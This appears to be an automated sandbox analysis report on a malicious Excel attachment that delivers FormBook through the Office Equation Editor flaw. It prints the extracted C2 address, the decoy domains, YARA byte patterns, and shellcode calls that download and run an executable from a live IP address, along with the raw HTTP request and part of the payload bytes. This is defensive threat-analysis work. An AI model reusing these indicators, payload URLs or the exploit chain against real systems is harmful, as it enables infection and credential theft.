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Windows Analysis Report
PO 65738963578 Revise Settlement.xlsx

Overview

General Information

Sample Name:	PO 65738963578 Revise Settlement.xlsx
Analysis ID:	626146
MD5:	e5c9c992c088a778a6348f4a58dd78d3
SHA1:	754f386df06785ddd4cb4a04bed626ceab65d5ab
SHA256:	6b8ffb251308a2396f35780df9376b329a6c741419db44ea4f89d88ed932fbf2
Tags:	VelvetSweatshopxlsx
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Sigma detected: EQNEDT32.EXE connecting to internet

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Sigma detected: File Dropped By EQNEDT32EXE

Antivirus detection for URL or domain

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Shellcode detected

Office equation editor drops PE file

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Office equation editor establishes network connection

Drops PE files to the user root directory

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Downloads executable code via HTTP

Potential document exploit detected (unknown TCP traffic)

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Contains functionality to download and execute PE files

Office Equation Editor has been started

Contains functionality to download and launch executables

Drops PE files to the user directory

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1980 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 2576 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2372 cmdline: "C:\Users\Public\vbc.exe" MD5: 029BBE98A216416EB698CA543A5C0830)

idcqz.exe (PID: 2428 cmdline: C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\dknqrab MD5: 51F62DEF6DC686B87CC0BAFC31685546)

idcqz.exe (PID: 2544 cmdline: C:\Users\user\AppData\Local\Temp\idcqz.exe C:\Users\user\AppData\Local\Temp\dknqrab MD5: 51F62DEF6DC686B87CC0BAFC31685546)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.cortesdisenosroutercnc.com/itq4/"], "decoy": ["worklocalcortland.com", "hostydom.tech", "ittakegenius.com", "clarisfixion.com", "totalzerosband.com", "shop-for-432.club", "exploremytruth.com", "skarpaknivar.com", "teknikunsur.net", "shoppingclick.online", "808gang.net", "solobookings.com", "mikunandina.com", "insumedkap.com", "kingdomcell.com", "qabetalive838475.com", "foxyreal.website", "filmweltruhr.com", "pokibar.com", "girassolpresentes.com", "rprent.com", "klatch22.com", "qam3.com", "bbuur.com", "grandmino.com", "windowcontractor.info", "myownstack.com", "suprebahia.com", "amaliebeac.space", "rugggedclassicvinyl.com", "thevillagetour.com", "obsoletely.xyz", "fintell.online", "mychianfts.net", "skillingyousoftly.com", "mejicat.com", "tntpowerspeedagility.com", "richardklewis.store", "yourdmvhometeam.com", "citestaccnt1631545392.com", "weddingbyneus.com", "mbkjewelry.com", "shubhamsports.com", "bountyhub.xyz", "heritage.solar", "vitalorganicbarsoap.com", "cloandjoe.com", "royalluxextensions.com", "lbrzandvoort.com", "knowmust.xyz", "okpu.top", "balanz.kitchen", "buggy4t.com", "gownstevensond.com", "f4w6.claims", "workingfromgarden.com", "foryourtinyhuman.com", "preventbiotech.com", "happyklikshop.com", "tuyenxanh.com", "lift2.cloud", "skazhiraku.net", "purpleatticexperiment.com", "freebtc.pro"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x89a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x141a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa132:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ad9:$sqlite3step: 68 34 1C 7B E1 0x16bec:$sqlite3step: 68 34 1C 7B E1 0x16b08:$sqlite3text: 68 38 2A 90 C5 0x16c2d:$sqlite3text: 68 38 2A 90 C5 0x16b1b:$sqlite3blob: 68 53 D8 7F 8C 0x16c43:$sqlite3blob: 68 53 D8 7F 8C

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.EQNEDT32.EXE.931118.0.raw.unpack	APT_NK_Methodology_Artificial_UserAgent_IE_Win7	Detects hard-coded User-Agent string that has been present in several APT37 malware families.	Steve Miller aka @stvemillertime	0x16e8:$a1: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 0x16e8:$a2: 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 57 4F 57 36 34 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C 69 6B 65 20 47 ...
2.3.EQNEDT32.EXE.931118.1.unpack	APT_NK_Methodology_Artificial_UserAgent_IE_Win7	Detects hard-coded User-Agent string that has been present in several APT37 malware families.	Steve Miller aka @stvemillertime	0xae8:$a1: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 0xae8:$a2: 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 57 4F 57 36 34 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C 69 6B 65 20 47 ...
2.3.EQNEDT32.EXE.931118.1.raw.unpack	APT_NK_Methodology_Artificial_UserAgent_IE_Win7	Detects hard-coded User-Agent string that has been present in several APT37 malware families.	Steve Miller aka @stvemillertime	0x16e8:$a1: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 0x16e8:$a2: 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 57 4F 57 36 34 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C 69 6B 65 20 47 ...
5.2.idcqz.exe.160000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.idcqz.exe.160000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x89a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x141a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa132:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.idcqz.exe.160000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ad9:$sqlite3step: 68 34 1C 7B E1 0x16bec:$sqlite3step: 68 34 1C 7B E1 0x16b08:$sqlite3text: 68 38 2A 90 C5 0x16c2d:$sqlite3text: 68 38 2A 90 C5 0x16b1b:$sqlite3blob: 68 53 D8 7F 8C 0x16c43:$sqlite3blob: 68 53 D8 7F 8C
5.2.idcqz.exe.160000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.idcqz.exe.160000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7808:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7ba2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x138b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x133a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x139b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x85ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1261c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9332:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18da7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19e4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.idcqz.exe.160000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15cd9:$sqlite3step: 68 34 1C 7B E1 0x15dec:$sqlite3step: 68 34 1C 7B E1 0x15d08:$sqlite3text: 68 38 2A 90 C5 0x15e2d:$sqlite3text: 68 38 2A 90 C5 0x15d1b:$sqlite3blob: 68 53 D8 7F 8C 0x15e43:$sqlite3blob: 68 53 D8 7F 8C
2.2.EQNEDT32.EXE.931118.0.unpack	APT_NK_Methodology_Artificial_UserAgent_IE_Win7	Detects hard-coded User-Agent string that has been present in several APT37 malware families.	Steve Miller aka @stvemillertime	0xae8:$a1: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 0xae8:$a2: 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 57 4F 57 36 34 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C 69 6B 65 20 47 ...
Click to see the 5 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 198.12.81.20, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2576, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49173

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2576, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\BUSY[1].exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.cortesdisenosroutercnc.com/itq4/"], "decoy": ["worklocalcortland.com", "hostydom.tech", "ittakegenius.com", "clarisfixion.com", "totalzerosband.com", "shop-for-432.club", "exploremytruth.com", "skarpaknivar.com", "teknikunsur.net", "shoppingclick.online", "808gang.net", "solobookings.com", "mikunandina.com", "insumedkap.com", "kingdomcell.com", "qabetalive838475.com", "foxyreal.website", "filmweltruhr.com", "pokibar.com", "girassolpresentes.com", "rprent.com", "klatch22.com", "qam3.com", "bbuur.com", "grandmino.com", "windowcontractor.info", "myownstack.com", "suprebahia.com", "amaliebeac.space", "rugggedclassicvinyl.com", "thevillagetour.com", "obsoletely.xyz", "fintell.online", "mychianfts.net", "skillingyousoftly.com", "mejicat.com", "tntpowerspeedagility.com", "richardklewis.store", "yourdmvhometeam.com", "citestaccnt1631545392.com", "weddingbyneus.com", "mbkjewelry.com", "shubhamsports.com", "bountyhub.xyz", "heritage.solar", "vitalorganicbarsoap.com", "cloandjoe.com", "royalluxextensions.com", "lbrzandvoort.com", "knowmust.xyz", "okpu.top", "balanz.kitchen", "buggy4t.com", "gownstevensond.com", "f4w6.claims", "workingfromgarden.com", "foryourtinyhuman.com", "preventbiotech.com", "happyklikshop.com", "tuyenxanh.com", "lift2.cloud", "skazhiraku.net", "purpleatticexperiment.com", "freebtc.pro"]}

Multi AV Scanner detection for submitted file

Source: PO 65738963578 Revise Settlement.xlsx	Virustotal: Detection: 41%			Perma Link
Source: PO 65738963578 Revise Settlement.xlsx	ReversingLabs: Detection: 29%

Yara detected FormBook

Source: Yara match	File source: 5.2.idcqz.exe.160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.idcqz.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.972513227.0000000000160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Antivirus detection for URL or domain

Source: www.cortesdisenosroutercnc.com/itq4/	Avira URL Cloud: Label: malware
Source: http://198.12.81.20/busy/BUSY.exeC:	Avira URL Cloud: Label: malware
Source: http://198.12.81.20/busy/BUSY.exeiiC:	Avira URL Cloud: Label: malware
Source: http://198.12.81.20/busy/BUSY.exej	Avira URL Cloud: Label: malware
Source: http://198.12.81.20/busy/BUSY.exe	Avira URL Cloud: Label: malware

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\BUSY[1].exe	Joe Sandbox ML: detected
Source: C:\Users\Public\vbc.exe	Joe Sandbox ML: detected

Source: 2.3.EQNEDT32.EXE.998472.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 2.3.EQNEDT32.EXE.931118.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 2.3.EQNEDT32.EXE.998472.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 2.2.EQNEDT32.EXE.931118.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 5.2.idcqz.exe.160000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Exploits

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 198.12.81.20 Port: 80

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source:

Binary string: C:\hkxhi\tnjelr\oppx\aef3432ff76843aeb030a76c099018f6\zhseks\qyypcejy\Release\qyypcejy.pdb source: vbc.exe, 00000004.00000002.984855453.0000000000788000.00000004.00000001.01000000.00000004.sdmp, idcqz.exe, 00000005.00000000.964431298.0000000000B5E000.00000002.00000001.01000000.00000005.sdmp, idcqz.exe, 00000005.00000002.972687897.0000000000B5E000.00000002.00000001.01000000.00000005.sdmp, idcqz.exe, 00000006.00000000.967212091.0000000000B5E000.00000002.00000001.01000000.00000005.sdmp, idcqz.exe.4.dr, nswAB85.tmp.4.dr

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00405D7A CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004069A4 FindFirstFileW,FindClose,
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040290B FindFirstFileW,

Software Vulnerabilities

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0379043F ShellExecuteW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_037903A2 LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03790411 URLDownloadToFileW,ShellExecuteW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_037902FD ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_037903BC URLDownloadToFileW,ShellExecuteW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03790332 URLDownloadToFileW,ShellExecuteW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0379042A ShellExecuteW,ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03790464 ExitProcess,
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03790316 URLDownloadToFileW,ShellExecuteW,ExitProcess,

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 198.12.81.20:80

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 198.12.81.20:80

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.cortesdisenosroutercnc.com/itq4/

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Joe Sandbox View

IP Address: 198.12.81.20 198.12.81.20

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 13 May 2022 14:42:02 GMTServer: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.0.17Last-Modified: Fri, 13 May 2022 11:21:13 GMTETag: "3e719-5dee2df4306a6"Accept-Ranges: bytesContent-Length: 255769Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 21 60 47 ec 40 0e 14 ec 40 0e 14 ec 40 0e 14 2f 4f 51 14 ee 40 0e 14 ec 40 0f 14 49 40 0e 14 2f 4f 53 14 e3 40 0e 14 b8 63 3e 14 e0 40 0e 14 2b 46 08 14 ed 40 0e 14 52 69 63 68 ec 40 0e 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a9 9a 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 12 3a 00 00 08 00 00 46 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 3b 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 90 3b 00 50 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 67 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 eb 39 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 01 00 00 90 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 50 0a 00 00 00 90 3b 00 00 0c 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /busy/BUSY.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.12.81.20Connection: Keep-Alive

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_037903A2 LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess,

Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.81.20

Source: EQNEDT32.EXE, 00000002.00000002.962051283.0000000000993000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.957716678.0000000000995000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.957591304.0000000000993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.962051283.0000000000993000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.957716678.0000000000995000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.957591304.0000000000993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)

Source: EQNEDT32.EXE, 00000002.00000002.961987848.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.957575421.000000000098D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.12.81.20/busy/BUSY.exe
Source: EQNEDT32.EXE, 00000002.00000003.957575421.000000000098D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.12.81.20/busy/BUSY.exeC:
Source: EQNEDT32.EXE, 00000002.00000002.961987848.00000000008FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.12.81.20/busy/BUSY.exeiiC:
Source: EQNEDT32.EXE, 00000002.00000002.962566315.0000000003790000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.81.20/busy/BUSY.exej
Source: EQNEDT32.EXE, 00000002.00000003.957494354.0000000000955000.00000004.00000020.00020000.00000000.sdmp, vbc.exe, 00000004.00000002.984640728.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vbc.exe, 00000004.00000000.959904121.000000000040A000.00000008.00000001.01000000.00000004.sdmp, BUSY[1].exe.2.dr, vbc.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
